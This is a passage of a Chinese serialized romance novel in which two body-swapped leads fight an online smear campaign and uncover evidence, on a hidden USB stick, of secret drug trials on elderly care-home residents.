蜜甜弥散至全身各处,多巴胺持续分泌,许暻感觉自己被扔到了云层里,身子轻飘飘的,意识也跟着畅快。
嘴角的弧度已经完全不受控制,只想肆意表达这具身体此刻最真实的反应。
“饿死了,快去做你的爱心晚餐去!”许暻又往后顶了人两下。
“没问题,保证按时完成!”
……
厨房里已经飘出了饺子的香气,许暻半躺在沙发上,未消的愉悦还在支配着躯体。
她又拿起了两块表,从头到尾、从里到外的反复观摩,眼眸半眯,从眼底冒出来的甜腻泡泡浸染了周身的每一寸,就连空气也变得粘稠。
算了,原谅他就原谅他吧,也不是什么大事。
他知情,但也不算完全知情。
灵魂互换对祁聿来说是机会,对她又何尝不是呢?
至少灵魂互换让她真正了解了他的科技养老,至少她对科技养老的偏见少了很多。
至少她获得了新的灵感,至少她有了祁聿。
况且他们的灵魂互换是和爷爷奶奶送的怀表有关,说不定……也是爷爷奶奶送给他们的‘礼物’呢?
许暻还甜津津地泡在无形的蜜罐里,思绪不知道飘到哪儿去了。
一段紧促的门铃声不合时宜地搅乱了她的兴致。
许暻和厨房里的人均是一愣。
许暻赶紧放下怀表,从沙发里爬起来,对厨房的人说:“我去开门。”
以为又是突袭的爸妈,许暻特意换上乖巧的笑脸。
然而开门之后,许暻才发现是快递员。
对视的两人都稍许茫然,快递员停顿了两秒,才问:“请问是祁先生吗?您的快递签收一下。”
许暻也跟着回神,收了快递。
她瞟了一眼信息单,抱着快递往里走:“你买什么啦?”
祁聿也没回头,直接道:“你帮我拆开吧。”
许暻没多想,应了一声,拿了剪刀过来。
包装很简单,纸盒下面一层泡沫垫板,里头是一个精美的包装礼盒。
像是礼物。
但浅紫色的礼盒外面什么信息都没有,十分简洁。
许暻没再往下拆。
祁聿已经端着两碗饺子出来。
许暻问:“这什么?”
“打开看看。”
送她的礼物?
许暻默默猜想,手已经掀开了礼盒的盖子。
里面躺着一串手串。
许暻对水晶了解得不太多,只能看出来是紫水晶,祁聿已经在旁边解释。
“这手串叫天空之镜,每颗水晶都是挑选最透亮最纯净的,成色也不错,火彩也很漂亮,觉得很适合你,就买来了。”
“之前表白得太匆忙,还没等到手串,也没来得及给你,想来也是这些天了,戴戴看,喜不喜欢?”
许暻稍稍讶然,没想到祁聿还留了这么一手。
她抿着唇,小心翼翼地拿起水晶,这才发现在两颗透亮如玻璃般的水晶珠子中间,还有一块很小的饰牌,是和水晶一样的浅紫色,中间映着一个小字——
“暻”。
她惊喜抬头:“这是你定制的?”
祁聿的眼神定在她眸前几秒,似乎是被许暻周身尚且停留的粘稠推挤着唇角,漾开了浅浅弧度,他嗯了一声:“独一无二,仅此一条,和你一样。”
浓稠的蜜浆险些搅不动而凝固起来。
许暻忍着笑,拽过他的手,拿起水晶比划了两下,‘嘁’了一声道:“可惜我现在也戴不了。”
“不过祁聿,”许暻满意地看着那个“暻”字说:“幸好你挑饰品的审美不差。”
幸好没再送她一个跟炸毛娃娃一样的礼物。
祁聿没说话,饶有深意地笑笑。
又说:“那等咱们换回来了,我亲手给你戴上。吃饭吧?”
水晶被许暻放回了礼盒里,两人坐下来吃饭。
绵甜的余韵还没过去,却险些被外音干扰——
手机页面不恰时地持续推送有关祁聿的负面新闻。
这几天颐安那边虽然出了通告,公布祁聿停职调查的事,并且澄清了祁聿和李董之间存在的不实言辞,但浪潮依旧凶猛。
有人说祁聿一定要被永久停职,有人说科技养老就是祁聿用来卷钱的口号。持续存在的谩骂、侮辱,各种人身攻击。
为了不被举报、不被惩罚,几乎所有的评论都是采用谐音,让本没有攻击意思的文字披上了尖锐的外衣,从代码连接起来的网络世界里,目标明确地实施攻击。
再看过去,甚至已经有人拿许暻出来说事。
不知道是从哪里开始,已经有人利用许暻和祁聿是死对头的关系,揣测“许暻原来
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从很久之前就已经暗示科技养老不行”,以此来坐实科技养老正是为了卷钱而存在。
“这帮人到底想做什么?!这谣言出来摆明就是要让你真的回不了颐安!”许暻已经后悔没忍住非要点进来看一眼。
她气鼓鼓地关了手机,扣在桌面。
然而祁聿淡定如斯,掌心扣在她的背脊,给她顺气,他像是早就料到一般:“这人应该确实没想让我再回颐安。”
“什么意思?”许暻瞬间转眸,疑惑渐生。
这人?
是已经有了准确指向的。
“先吃完,今天不是说过吗?回来有消息要跟你商量。”
许暻迅速低下头,也不顾还没消解的情绪,一个劲往嘴里扒饺子。
……
沐浴露残留的香气从浴室里飘了一些出来,灯光下缭绕了些许雾气。
粉色小猪的大床上,祁聿也在。许暻靠在他身边,已经听完了祁聿保存在手机里的一段音频。
却眉头紧锁,一言不发。
祁聿解释:“这是游奕发给我的,他说可能有用。”
话语像是掉进了无底洞,换来了长久的缄默。
灯下已经探不到半点雾气,沐浴露的香气也被冲淡。
许暻嗯了一声:“你想怎么做?”
她转头过去,悄然撞入他的沉静里。
不知怎的,她也跟着静了下来。
眉心的褶皱渐渐消失,她听见他问:“你觉得呢?”
两人一句明话都没说,但许暻觉得他们已经共脑了。
从那双眼睛里,她已经能懂他的意思。
两秒后,两人默契开口:“瓮中捉鳖。”
祁聿笑了。
许暻扯了扯唇,笑意却没能触及眼底。
躺下准备睡觉时,祁聿又靠近,把在心里留了很久的话说了出来:“小暻,这几天在桐馨,你那个师兄,可没少说我坏话。”
许暻稍愣,视线慢悠悠地移过去,问他说什么了。
是因为这几天网上的那些消息。
周擎越本就不太赞成两人在一起,更是在‘祁聿’面前说过他们走不长久这些话。
逮着了机会,周擎越自然不会放弃劝阻。
祁聿在食堂吃午餐,正在翻阅那些言论,恰好被周擎越看到,他直接过来坐下,也不避讳了,开门见山道:“小暻,新闻上的报道你也都看了,我已经说过你们俩不合适,我是真的为你好,早些跟他分开吧。”
祁聿继续低头吃饭,暂时隐忍。
而那人又不死心地继续道:“小暻,你就听我这一次好不好?师父他要是知道你不清不楚地跟祁聿在一起,他肯定不会高兴的。”
“我们哪里不清不楚?又怎么不合适?”听他搬出许爷爷,祁聿心里的那团火包不住了。
一次次被他评判他们的感情,一次次被他打压,祁聿对他早就有了不少怨气。
更别说他不是看不出来周擎越对许暻存在的某种特殊情感。
哪怕他不说,但都是男人,他的眼神代表什么,他绝对能想明白。
周擎越没料到‘许暻’会生气,嘴唇微微翕动,顿住片刻。
又接着说:“就算不论这些,你看看祁聿现在的情况,这种停职,这样负面铺天的舆论,你觉得他还能回颐安吗?这个行业对他还能像以前那样吗?如果他没了工作,你们还怎么合适?”
“你怎么就知道他回不去?你怎么就确定他不会像以前一样?”
这话听起来像是在辩护,又似乎带了点别的味道。
周擎越的语气带了几分笃定:“祁聿当初是靠运气进的颐安,他父母也并不是行业内的人,没有背景,没有人脉,颐安的董事也不是傻子,舆论风向在这里,他们怎么会冒这个险让祁聿再回去?”
“淮北市的养老人才可不止祁聿一个。”
祁聿一句话也没说,端着吃剩的碗直接走了。
他抱着身旁的人,话语带了点阴阳的味道:“听听,这是多想让你对我失望?”
许暻原本沉翳的心绪却因为他怄气的样子轻松了许多。
她侧身把人抱住,闭上了眼睛,轻轻悠悠道:“别往心里去,我知道你是怎样的人就好了,我信你。”
“阿聿。”
这句称呼将祁聿后续要出口的话堵了个彻底。
好像什么都不重要了。
也不需要再抱怨什么。
因为她说:“我信你,阿聿。”
许暻的腰上多了一道力量,他们相拥在一起。
深夜静谧,月色如水晶一般纯净。
……
隔天一早,舆论因为一段突如其来的视频转了风向。
54. 焰火+13
许暻是看到刘助发来的消息之后才知道。
彼时祁聿正在浴室洗漱。
视频里是颐安社区的十几个老人,吴奶奶领头,他们坐成两排,面对着镜头没有一丝胆怯,只有想为祁聿澄清的坚毅。
吴奶奶手里举着一个白色的牌板,上面写着:支持颐安养老社区!支持祁聿!
她大喊:“我们非常喜欢在颐安社区的生活!我们喜欢科技养老!”
话音落下之后,是其余老人的共声重复。
浑厚有力的声音从扬声器里冲出来,钻进许暻的耳膜,生理性的酸涩从眼眶挤出,刺激着脆弱的眼角。
“科技养老不是圈钱!祁聿是在用心打造养老社区!”
“没有人比我们更加清楚住在这里是一种怎样的体验,作为网络上那个差点因为低血糖死亡的主角,我想为祁聿祁总说明,那天是我自己情绪不好,不愿意跟护工、医护人员们说话,也没有按时吃饭,最终导致低血糖。”
“好在祁聿及时发现不对,是祁聿在危急时刻救了我,我老婆子此刻才能健健康康地坐在这里!”
吴奶奶说完之后,身旁的陈爷爷跟着发声。
陈爷爷说,自己的儿女都去了国外,自从来到了颐安之后,他感受到了明显年轻化的养老环境。
退休之前他就是个喜欢新鲜玩意的老头,这里科技化的产品为他带来了许多便利,同时,他发觉这里也在改变着,最初确实缺乏了一些人文交流,但前不久,社区已经有了新的变动,他享受着科技的同时,也能感知到愈发浓烈的人情味。
他喜欢这里。
他很满意这里的养老生活。
还有李奶奶、孙奶奶、林爷爷……
他们说当初选择颐安,是因为他们本身就相信科技产品,在这里生活、体验之后也很满意。
科技产品他们是第一使用者,评判好坏没有比他们更合适的人选。
而他们现在也因为人情味对这里好感倍增。
他们还说,祁聿虽然是公司的CEO,但是会抽出越来越多的时间来社区查房,不仅能清楚地记住他们,对他们的兴趣爱好更是了如指掌。
他就是在用心对待养老社区,用心对待社区内的每一位老人。
最后,吴奶奶打头,所有老人齐声道:“我们支持颐安养老社区!我们支持祁聿!”
话音刚落,镜头一转,剩下的比较内敛的一些老人也站在走廊里,撞着胆子大喊:“支持!”
视频结束在老人们的一声声支持里。
刘助说,这个视频是吴奶奶问过服务站的值守人员,得知祁聿被停职。
了解了所有事态之后,吴奶奶又要求一定要见祁聿一面,他们当然没有祁聿的电话,只能联系刘助。
吴奶奶见到刘助后又说索性给祁聿准备一个惊喜,是他们这些老人对他的心意。
于是在刘助的帮忙下,这个视频拍摄完成,刘助连夜剪辑,终于在早间发了出来。
视频循环播放,许暻已经坚守不住。
湿红的眼角刺激不断,圆润的眼眶也撑到了最大限度,里头裹不住的泪液簌簌下落,灰色的被罩已经留下了大大小小的湿痕。
祁聿终于出来。
完全不知情的他并不知道许暻为什么哭,大步往前,却什么都不用再问——
他注意到她手里还在播放的视频。
两人静默无声,视频从头到尾,再次播放。
这里面的每一位老人说出的每一个字,都如同蕴藏巨大能量的石头,精准地抛向祁聿的心口。
原本还算得上是坚硬的地块被不间断的袭击撞碎,逐渐露出柔软的芽孢。
一种陌生又熟悉的灼热悄然滋生。
他第一次辨不清这感觉从何而来。
和上一次拆到吴奶奶的感谢信很像,但又不完全像。
他稍微咬着唇,眼前的景象模糊了又清晰、清晰了又模糊。
他以为自己还能忍住。
直到最后那一声声“支持”大肆闯入,什么所谓的冷傲、淡漠,都在此刻消失彻底。
脸颊被湿润的痒意侵袭,氤湿的痕迹只增不减。
他好像完全明白许暻、许爷爷和许奶奶这么多年坚持人文养老的原因。
不管他们是以什么作为出发点,也不管他们是研究出了多么便利的产品、做出了一个多么完美的方案,他们最终面临的对象依然是‘人’。
科技纵使能够带来便利,但人与人的相处也必不可少。
从他自己的角度出发,颐安的每一套科技产品都离不开背后的研究人员,他的方案也离不开每一个和他一起讨论钻研的组会人员。
他的生活都离不开人,更别说老人。
每位老人是从科技不发达的年代走来,哪怕对科技的接受程度再快,应该也无法适应完全与科技产品为伴的老年生活。
就像他也没办法离开许暻,没办法离开父母。
祁聿猛然意识到自己其实是走错了路。
他曾引以为傲、游刃有余的那条路,其实是能望到底的‘死路’。
而且老人们虽然是在支持他,但说的每一句话几乎都和许暻有关,对他们的兴趣爱好了如指掌的人不是他,而是许暻。
每周都会去看他们的人也不是他,是许暻。
他能获得他们的支持,是因为许暻。
他下意识转头,许暻也在同一时间转眸。
她轻唤了声:“阿聿……”
手机掉在了被褥中,视频一遍又一遍地循环。
许暻被他紧紧抱住,胸口严丝合缝,他们几乎没有呼吸的空间。
没等许暻开口,一丝冰凉的湿润滚入她的脖颈,紧随而来的是断续未绝的低频浪潮。
许暻是第一次见到祁聿这副模样——
颤抖、泪水、滚烫。
她又听见他说:“小暻,是我错了。”
……
网上那些关于祁聿的负面言论热度大幅下滑,视频被多次转载,风向迅速倒转。
原本对祁聿的辱骂也变成了赞赏,尽管负面言论不断,却也逐渐被淹没在了大部队中。
舆论可以在短时间内摧毁一个人,却也能在短时间内让一个人‘重生’。
不仅是祁聿,就连颐安的正面讨论度也比此前高出了好几倍。
刘助那边接到消息,说要求出院的那几位家属又带着老人重新回来办理入院。
甚至又来了很多新的老人。
李董也打了电话回来,说:“小祁,我倒也没料想老人们会拍视频,既然事态已经发展成如此,你是不是也没有停职的必要了?”
许暻和眼前的人对视一眼,等到祁聿的肯许之后,许暻才应:“我明白,李董。”
电话结束,空气沉静了几秒。
祁聿的眉梢稍微动了动,手掌轻轻覆在她的胳膊上
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,指腹带起了稍许力量,小幅按压。
他一句话也没说,许暻却了然点头,嘴角噙起一抹极浅的弧度。
祁聿出了门。
许暻看了眼时间,重新换了身低调的黑色运动装,又戴好了鸭舌帽,在半小时后出门。
……
宋楹的办公室里,许暻拿好了给张奶奶开的药,又问:“楹楹,我其实也不想这么做,只是…只是目前只有这个办法……”
宋楹仰眸看了眼墙上的挂钟,脱了白大褂,去值班室拿了自己的衣服和包包。
“我陪你去。”
许暻没拒绝。
路上是宋楹开车,两人直奔颐安社区。
张奶奶最近精神状态恢复了很多,上次在医院里受到的刺激也很快就过去了。
加上王阿姨把人照顾得很好,张奶奶能认清人的时刻越来越多,虽然只有那么几十秒,但对于一个重度认知障碍的老人来说,已经算是不错的现象。
许暻和宋楹过来,王阿姨也开心,主动和两人话常。
许暻耐心听着,鸭舌帽时而抬起,目光定格在张奶奶身上几秒,又很快落下,自然地掩盖住了底下的眸色。
宋楹零散地接了几句话,等王阿姨终于说完,她拿出早已备好的一张信封:“王阿姨,今天下午我们带张奶奶出去透透风,您也很久没放假了,这是祁总的一点心意,给您下午放半天假。”
王阿姨受宠若惊,很快明白了信封里是什么。
她的动作有片刻凝滞,稍稍迟疑后,她还是拒绝:“这…祁总,我在这里工作是应该的,这些我不能收,照顾张奶奶本来就是我的职责嘛。”
料到王阿姨会推脱,宋楹强硬地把信封塞进她手里,说如果她现在不收,这笔钱到时候会自动打到她的账户里。
几番推脱,王阿姨拗不过,还是收下了。
不过她又担心两人顾不住张奶奶,张奶奶出门之后的精神状态摇摆不定,她还是想跟着一起。
许暻再三向她保证,说两人肯定能照顾好张奶奶,只是带人出去透透风而已。
王阿姨并不是没有眼力见的人,明白许暻和宋楹没有要她跟着的意思,所幸也爽快应下来。
毕竟‘祁聿’是话事人。
等王阿姨走了,许暻在床边蹲下,张奶奶一眼认出她,慈祥的面容露出了丝丝笑意,她张了张唇:“阿澄……”
许暻握住她的双手,指腹流转在已经失去弹力、又有些干皱的皮肤纹理上,心口仿佛塞了一块浸满黏液的海绵,潮湿又沉重,难以排解。
她扯起唇角,似笑非笑,喉咙像是被粗沙砾滚过一圈,语气低哑:“奶奶,我们带您出去透透风,好吗?”
老人没有听懂,茫然地望着许暻。
宋楹上前挽住老人的胳膊,又拍了拍许暻:“走吧?”
老人完全不抗拒两人的接触,乖乖地披好了外套,跟她们走了。
许暻在车上始终不敢看身旁的老人一眼,就那么握着她的手,不知道是想给老人安全感,还是想给自己安全感。
她盯着放在中控台的那几盒药,完全不知道过了多久,直到车已经停稳。
宋楹熄了火,转眸道:“小暻,该下车了。”
沉浊的气息从鼻腔里涌出来,心口的潮湿粘腻却未减半分。
她和宋楹一人一边,站定在老人两侧,牵引着她,一步一步走向被围起来的、废弃的怡康养老院。
55. 焰火+14
踏进门口的那一刻,张奶奶的身体明显有一瞬紧绷。
屋子里虽然没有开灯,但此时阳光正好,从窗户里透进来,灰尘在光晕里滚了一圈又一圈,前厅只有一张桌子还立在那里,模糊又清晰。
老人侧眸,神色略微担忧,她捏紧了许暻的手,又唤了声:“阿澄……”
许暻的脚步跟着慢了下来,却始终垂着眼帘,不敢看老人一眼。
嘴唇抿成一条苍白的线,步伐干脆停在了那里,不再往前。
这样的事,宋楹也于心不忍。
只是她们没有办法。
宋楹缓缓平过下巴,视线定在许暻身上,轻声道:“小暻,我们也是为了张奶奶,为了阿澄……”
细碎的尘土将空气里所有的声音无声吸走。
直到眼前的地板出现幻影,几乎凝固的血液才有了流动的意识。
许暻沉沉地吐了口气出来,终于抬眸,面部肌肉稍稍抽搐,嘴角艰难地扯了一抹弧度出来:“奶奶,这里是您以前住的地方,我们一起进去看看,好吗?”
老人不做声,许暻和宋楹对视一眼,试探地往前走了两步。
老人不算太抗拒,步子小幅挪动,只是被两人挽起的臂弯越靠越近。
许暻一直留意张奶奶的反应,心跳隐隐加速,喉间一阵干涩。
老人眉头稍稍蹙起,浅浅发灰的瞳仁里更多的是茫然。
许暻兀自松了口气,接着往前。
然而她们刚穿过前厅,到了后面原本给老人居住的房间,两人几乎没有反应时间,身边的张奶奶不知道什么时候挣脱开了她们的手腕,胡乱地往前冲。
力道之大甚至能同时甩开她们两人。
许暻的心脏猛地一紧,像一只受了惊的兔子,瞬间在狭小的空间里横冲直撞。
她和宋楹根本无暇顾及其他,身体下意识去追张奶奶。
张奶奶却猛力迈开步子,冲进一个房间后又迅速跑出来,再窜进另一个房间,再出来。
仿佛乱了方向的时针,根本不知道往哪里指。
她嘴里沙哑嘶吼:“阿澄,阿澄别怕……奶奶来救你了,阿澄,阿澄你在哪?”
“奶奶!”许暻和宋楹边追边喊,却再也没有用。
张奶奶此刻好像完全知道,她的阿澄并不在她们中间。
她要去救她的阿澄。
许暻现在才知道张奶奶的动作这样轻盈迅速。
明明看上去干瘦如柴,仿佛风一吹就会倒,实际上却力大无穷,尤其是遇到关于孙女的事。
这或许是一种下意识的潜力爆发。
张奶奶只在右侧的房间进出,许暻摸清了她的行径,提前堵在了下一个她要进去的房间,试图拦住她。
可张奶奶就像是着了魔一般,像她们初次见面的那个暴雨夜,毫不留情地一拳砸了过来。
好在许暻提前有了心理准备,又及时扶住墙边,稳住了自己,才没有摔倒。
宋楹冲过来扶她:“小暻!你没事吧?”
许暻紧蹙着眉,迅速摇头,“没事,我……”
剩余的话淹没在了房间的一声巨响里,两人哪里还顾得上说话?转身一起冲进了房间。
是张奶奶把房间里剩下的一个小柜子翻倒了,又跪在地上,双手紧握成拳,大力捶打着实心的地板。
“咚咚咚”的闷响不断从老人的手和地板之间溢出,略微苍白的掌肉已经充血,仿佛不顾一切、肆意燃烧得火红的炭。
许暻想阻止奶奶的动作,然而她的手堪堪触及老人,就被她暴力推开。
她愤怒地剜了眼许暻,怒吼道:“滚开!我要救我的阿澄!她被他们关在这个下面!你们滚开!”
许暻往后踉跄了几步,及时撑住墙壁站稳,视线和宋楹完全对上。
两人的神色一瞬凝重,眉心的紧蹙已经到了最大限度。
紧张酸涩的心口倏然被一股寒意吞噬。
这个……下面?
怡康有地下室?
老人手上持续的动作不停打断许暻的思考,她无法深想、来不及深想。
身体仿佛完全不受她的意识操控,自顾自地在这间还算空荡的房间里四处摸索。
见状,宋楹也跟着从另一边找寻,看能不能找到地下室的开关。
可结果似乎并不如她们所想,这间房里根本没有任何类似于开关的东西。
许暻以为自己想错了,想继续阻止张奶奶。
下一秒,地板陡然往下沉了沉,露出了一条缝隙。
老人的瞳眸一亮,手上的红肿越来越明显,她却像完全感受不到痛一般,接着往下砸。
许暻和宋楹索性什么也不顾,跟着老人一起砸。
手上的痛感越来越深,到最后渐渐转为麻木,许暻看到那条缝隙越来越大。
她拦住张奶奶,说:“奶奶,可以了!我来帮您,我帮您弄开,您先喝点水好不好?”
她往地板上连蹬了好几脚,地板塌陷,已经露出了藏在里面的阶梯。张奶奶没有再推她,却也不愿意听她的话。
“你让开!我要去救阿澄!阿澄快被他们害死了!我要救阿澄!”
“奶奶,”许暻握住老人的手,试图让她相信她:“奶奶,我们去救阿澄,但阿澄见到您现在的样子,她肯定会心疼的,所以我先下去,您乖乖喝水,楹楹帮您整理一下头发,然后带您下去,好不好?”
老人干瘪的手往上抬了些,触及银白的发丝,似乎听懂了许暻的话,嘴里重复:“救阿澄…救阿澄……”
宋楹及时上前,把提前准备好的‘水’送到老人跟前,又把人挡在地缝前:“奶奶,您先喝完,我来帮您理好头发和衣服,我们一起下去救阿澄,好吗?”
老人怔愣两秒,狐疑地睨了她一眼,最后还是迅速喝下了那杯水。
宋楹的胸腔悄悄往下沉了沉,空出来的手趁机拍了拍身后的许暻,侧头低声道:“小心些!”
许暻动作迅速,从半露的缝隙里钻进去。
里头昏黑一片,几乎看不清任何东西。
借着从缝隙里透进来的一点光亮,她站稳在了阶梯上,从口袋里摸出了手机,打开手电筒。
稍稍刺眼的灯光贯入,她才看清,在这块被她们砸陷的地板下,有一个类似于密码锁的密码盘。
出去应该是输密码,进来或许有遥控器什么的。
许暻完全不曾想,这里竟还存在着这样一处地方。
心跳的速度不减反增,就连太阳穴也跟着突突地跳动着,许暻紧张地咽了咽口水,缓步下台阶。
对于前面那条晦暗不明的路,心里充斥着惧意。她只能看到,黑暗的尽头有一处拐角,至于那里头是什么,她不知道。
脑海中的画面杂乱无序,她想到了很多事,也幻想了许多可能,尽可能地做好心理准备。
细密的飞尘在闪光灯柱中抱团飞舞,她捂住口鼻,耳边还有宋楹低哄张奶奶的声音。
一步、一步。
距离转角越来越近。
尽管她的脚步已经轻到极致,她依然能听见回声。
走完最后一步,许暻对着那堵灰色的墙壁,生理性眼泪快要溢出来,她深吸了口气,本想缓解紧张,却被灰尘狠狠呛到。
只好默默在心里给自己壮胆:她需要知道真相,她是为了张奶奶,是为了更多的老人,是为了林澄,甚至…也是为了爷爷奶奶、为了她自己。
呛咳到赤红的眼尾还停着未落的湿润,许暻一手举着手机,一手垂在身侧紧握成拳。
潮闷的尘土中似乎弥漫着淡淡的腥涩,屏住呼吸,迅速转身。
预想的可怕却没有来——
地下室空无一物,除了水泥地上堆积的灰土,和一扇被石头抵在墙边的实心铁门。
这里看上去像是一个毫无作用的空间。
可……
许暻无法忽略墙上残留的钉孔。
灰色的墙壁冒出浅白的粉末,还有往下滑落的趋势,钉孔旁边留着数十道细微的白色划痕。
只是许暻无法想象这里以前放置着什么。
实验台?
药品?
可应该不需要打孔才是。
这些划痕又是什么?
许暻把每一处都仔细看过。
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一无所获。
或许只能报警。
许暻正欲返回,没注意脚下,刚走了两步,脚尖踢到石头,本就不重的石头被她踢出了一些距离,铁门跟着失了控制,有自动关闭的趋向。
心尖稍稍一颤,呼吸跟着急促了几分。
好在许暻反应够快,及时拉住了铁门,重新把石头挡在门前。
她隐隐松懈了些,重新站起身,整个人却陡然定在原地。
手电筒正好照在了脚边靠近门的那一块,原本只有灰尘的地方却突然多了一小块物什。
许暻迅速俯身,瞳孔微缩。
是一块u盘。
大脑愈发混沌,在这样封闭的空间里也逐渐缺氧,许暻顺着身体的动作,从口袋里掏了张纸巾出来,快速捡起u盘放回口袋,然后才盯着前方那束细小的光亮快步前行。
重新回到光亮处,许暻大口喘着气。
黑色的运动装已经落满了灰,连带着鸭舌帽也没能幸免。
宋楹听见动静赶紧扑过来,问:“小暻!你没事吧?”
许暻双手撑着地,在宋楹的帮助下艰难起身,摇了摇头:“奶奶睡着了?”
宋楹嗯了一声。
好在她们提前做了准备,提前泡好了张奶奶的药,许暻就是担心她会应激,情绪再次失控。
好在张奶奶喝了药。
许暻把u盘掏出来给宋楹看:“地下室什么都没有,应该是在废弃之前清理过,我只找到了一个u盘,藏在铁门下面。”
“楹楹,你送奶奶回颐安,我先回去看看这u盘里到底是什么,然后报警。”
……
许暻到家之后连鞋都没换,带着一身灰直接冲进书房。
手臂的肌肉应激性地收缩、颤抖,好不容易才从口袋里掏出u盘,金属的摩擦声响了又响,她又只好把整个笔记本电脑翻转。
终于插好u盘。
右下方跳出提醒,紧促的呼吸声萦绕,眸光死死盯着电脑屏幕,右手托着鼠标左右滑动,与桌面摩擦发出稍稍刺耳的声响。
许暻充耳不闻,一心想赶快看到里头的内容。
u盘里只有一个十分醒目的文件夹,被命名为:张启林的重要文件。
再点进去,数十个文件滑出,电脑屏幕的页面还无法完全装下这些文件。
而每一个文件,都清晰地标注了名称。
日期由三年前到前不久,恰好是张启林自杀前几天。许暻第一眼抓住的,是第一排的文件:试药名单。
接着往下扫:
刘玉华031记录单、孙红云042记录单、唐兵056记录单……
张翠兰064记录单。
许暻点进了张奶奶的文件,是pdf形式的一张表格,清晰记录了张奶奶的照片、姓名、出生年月以及社会关系。
第二栏:A10肌注、A20肌注、C50肌注。
再往下,是注射记录。
年月日时,还有实操者,记录得清清楚楚。
许暻扫到那几个名字,眼泪瞬间迸了出来。
鼻间酸胀不止,眼前模糊一片,她胡乱地用手背抹掉眼泪,又接着往下翻。
几十个记录单过去,终于到了新的文件,而这份文件命名得也十分简单:张启林。
许暻点进去,瞳孔在那一行行文字上平扫而过。
不知道什么时候,眸中的酸胀已经消失,眼眶瞪得越来越大,漆黑的瞳仁在面积增大的眼白中更加显眼。
后槽牙被她狠狠咬住,两侧腮帮已经鼓起了明显的小包,还算白皙的皮肤上甚至能看到浅表的细小血管。
脖颈处的青筋暴起,握住鼠标的手指,五个甲床前端发白,明显失了血色。
她每隔几秒便沉一口气出来,跟着出来的,还有极速坠落的泪珠。
胸口堵了一团怎么也无法压下去的浊气,牵动内脏,气运异常,怒火丛生。
黑色运动装上的灰尘跟着抖落。
许暻堪堪看到最后,情绪完全没有消化,手机突然响了。
「小暻,我在他的车上,手环定位,报警!」
56. 焰火+15
许暻连电脑都没来得及关,拿着手机和车钥匙已经出门。
临走到玄关门口,脚步突然止住,许暻似是想到什么,又转身跑回祁聿的房间,在床头柜抄起那两块怀表装进兜,然后才出门。
到车里第一件事,她给宋楹打了电话。
宋楹刚把张奶奶送回社区,王阿姨这会在照顾她。
“小暻,你看u盘了吗?”
许暻来不及回答,语气匆匆:“楹楹,你现在过来祁聿家,u盘在书房的电脑上,我联系卢警官一起过来,你帮他开门取证,我现在要去找祁聿!”
意识到事情不简单,宋楹即刻答应。
“我明白了,小暻,你自己小心,我现在立马过去,你不要和我断联!”
……
淮北市的傍晚总会有金光浸满的晚霞,落日早已收敛起白天的锋芒,像一颗干净透亮的琥珀,缓缓西沉。
一辆黑色的跑车在拥挤的车流中难以施展拳脚,只能跟着匀速前行。
祁聿坐在副驾驶座上,拢紧了外套。
他暂时没有任何动作,主驾驶座的人看上去也并不慌张。
他不知道自己有没有胜算,也不知道许暻那边有没有找到任何线索。
但他还是想赌一把,他不信这么多年他什么痕迹都没有留下,也不信他的家里什么都不会有。
那人没有看他,也没有说一句话。
一直盯着前方,脸上甚至没有一丝神色的变换。
祁聿最后也不看他了,眸色移向窗口,时不时盯着后视镜里路过的车。
他的双手抱在胸前,右手停在心口的位置,暗暗数着心跳频率。
数不清过了多少个红绿灯,祁聿已经看不见落日,连晚霞的最后一丝余晖也跟着消失殆尽。
前后左右的车已经亮起了尾灯,红白光交汇刺入眼底。
他陡然发现,这条路不对。
这不是去他家的路。
是去怡康的路?
逐渐远离社区,路上的车流和行人跟着减少。
那人忽然踩了刹车,跑车停了下来,车门却依然上了锁。
祁聿往身旁瞟了一眼,稍稍一怔——
废弃仓库?
主驾驶座的那人拉了手刹,没有下一步的动作,轻斜一眼过来,又笑了声。
语速平缓,带着原本的温润,祁聿却又从中听出了一丝阴翳:“不问问为什么来这里了吗?”
祁聿停顿两秒,暂时选择装傻,他模仿着许暻的语气道:“是爷爷的东西被放在这块吗?离怡康倒是很近。”
那人挑了挑眉,似乎有些意外,转瞬即逝的讶然闪过,他又重新换上温润的笑脸,连那一丝差点没藏住的阴翳也再次隐匿。
他点了点头:“是,这里以前,其实是他的地盘。”
祁聿的瞳孔缩了一下,嘴唇微微张开,像是有一块寒冰打在脸上,面容凝滞了几秒:“爷爷的地盘?”
那人的下嘴唇往上拱了拱,撑着上嘴唇抿起,笑意几乎漾到耳根。
他轻松地吐了口气道:“不错,下车看看?”
一声轻响,门锁已经开了。
带着胸腔里暗含的情绪余波,祁聿仍然保持着双手抱胸的姿势,捏紧了外套的边角,完全挡住里头。
自从上次因为游奕拍到的照片从外面看过一次这间仓库之外,祁聿一次都没来过。
走在他前面的人也不知道是哪里来的钥匙,十分轻易地开了仓库门口挂的铁锁链。
紧接着,锈迹斑斑的铁门瞬间被他推开,他进了仓库里面,侧过身,歪头示意他进来。
祁聿没看他,自然地走了进去。
那人嘴角的弧度一直没有平下来过,温和又带了些占有的眼眸时刻停在‘许暻’身上。
他关了门,又不知道从哪摸了开关,顶头的一盏老旧的灯泡发出暗光,让人勉强能看清这里头的布局。
“跟我来吧,我带你去看。”
他想牵‘许暻’对手,但祁聿又假装没看懂,疑惑开口:“怎么不走了?”
那人伸出来的手僵了僵,不知道想了些什么,还是收了回去。
只是又嘱咐道:“那你跟紧我。”
祁聿嗯了一声,看着他不知道在手机上点了什么,仓库里即刻传出一声异响。
祁聿环顾四周,却依然没能找到这异响的来源。
前面的人倒是淡定异常,蹲下来,直接扒开了那条看起来再正常不过的墙缝。
祁聿盯着那条墙缝,额心不知道什么时候已经挤出了几条细纹。
一块面积不算大的‘墙皮’被他轻松扒开,里面是黑乎乎的一片,但祁聿能看到阶梯。
他心口一紧,俯下身往里看,面色又凝重了些。
这阶梯又是通往哪里?
“跟上来。”那人说。
祁聿又按紧了胸口,把衣服拢得更紧,好不容易伸出一只手,摸了一下那块被掀起的‘墙皮’。
他瞪起眼眸,睨了前方那人一眼,背后恶寒渐生。
这‘墙皮’是软的,但皮面上同样抹了水泥,背后同样有一堵实心水泥,所以从外面无法看出来这里能揭开,更不知道这里面还藏着不知道通往哪里的阶梯。
等他进去,‘墙皮’成功地将他们与仓库隔绝,瞬间隐入黑暗之中。
不过前面那人早有准备,开了闪光灯,往前走的同时还会留意后面的人有没有跟上。
祁聿估摸着走了五分多钟,封闭的环境里越来越闷,心跳也跟着变速。
狭窄得像是小隧道的路中只回荡着两人的呼吸声。
祁聿有些累了。
